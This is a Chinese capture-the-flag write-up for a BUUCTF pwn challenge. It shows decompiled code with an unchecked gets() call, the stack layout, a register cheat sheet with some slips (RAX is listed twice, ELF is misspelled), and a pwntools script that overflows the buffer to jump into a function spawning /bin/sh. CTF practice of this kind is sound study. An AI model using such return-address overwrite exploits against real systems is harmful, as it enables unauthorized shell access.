下载pwn1 用IDA打开
main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[15]; // [rsp+1h] [rbp-Fh] BYREF
puts("please input");
gets(s, argv);
puts(s);
puts("ok,bye!!!");
return 0;
}
又发现fun函数
int fun()
{
return system("/bin/sh");
}
; Attributes: bp-based frame
public fun
fun proc near
; __unwind {
push rbp
mov rbp, rsp
lea rdi, command ; "/bin/sh"
call _system
nop
pop rbp
retn
; } // starts at 401186
fun endp
需要利用gets函数获取一个长字符串覆盖rip来控制程序流到fun()函数
0000000000000010
-0000000000000010 db ? ; undefined
-000000000000000F s db ?
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 db ? ; undefined
-0000000000000007 db ? ; undefined
-0000000000000006 db ? ; undefined
-0000000000000005 db ? ; undefined
-0000000000000004 db ? ; undefined
-0000000000000003 db ? ; undefined
-0000000000000002 db ? ; undefined
-0000000000000001 db ? ; undefined
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
s划分了一个15字节的存储空间,因为是64位的EIF文件,所以rbp是8个字节
常用寄存器及其功能整理:
RIP:程序计数寄存器,来存放下一条即将用来执行的指令的地址,它决定程序执行的流程。(较常用)
RBP:栈基寄存器,存放当前栈帧的栈底地址(较常用)
RAX:通用寄存器。存放函数返回值
RSP:栈顶寄存器,存放当前栈帧的栈顶地址(较常用)
RAX:随机存取寄存器
AX:累加寄存器,分为AH高八位和AL低八位
AH:累加寄存器,AX(16位)寄存器的高八位
AL:累加寄存器,AX(16位)寄存器的低八位
EAX:累加寄存器,是很多加法乘法指令的缺省寄存器
EBX:基地址寄存器,在内存寻址时存放基地址
ECX:计数器
EDX:数据寄存器,被用于来放整数除法产生的余数
ESI:源变址寄存器
EDI:目的变址寄存器
EBP:扩展基址指针寄存器,EBP来存储当前函数状态的基地址,在函数运行时不变,可以用来索引|确定函数参数或局部变量 的位置。(较常用)
ESP:栈指针寄存器,ESP用来存储函数调用栈的栈顶地址,在压栈和退栈时 发生变化。(较常用)
EIP:指令指针寄存器,EIP用来存储即将执行的程序指令的地址, cpu依照EIP的存储内容读取指令并执行,EIP 随之指向相 邻的下一条指令,如此反复,程序就得以连续执行指令。(较常用)
fun函数的地址是0x401186
构建exp
#python2.7
from __future__ import absolute_import
from pwn import *
p=remote(u"node4.buuoj.cn",27369)
payload=u'A'*15+u'B'*8+p64(0x401186+1).decode(u"iso-8859-1")
p.sendline(payload)
p.interactive()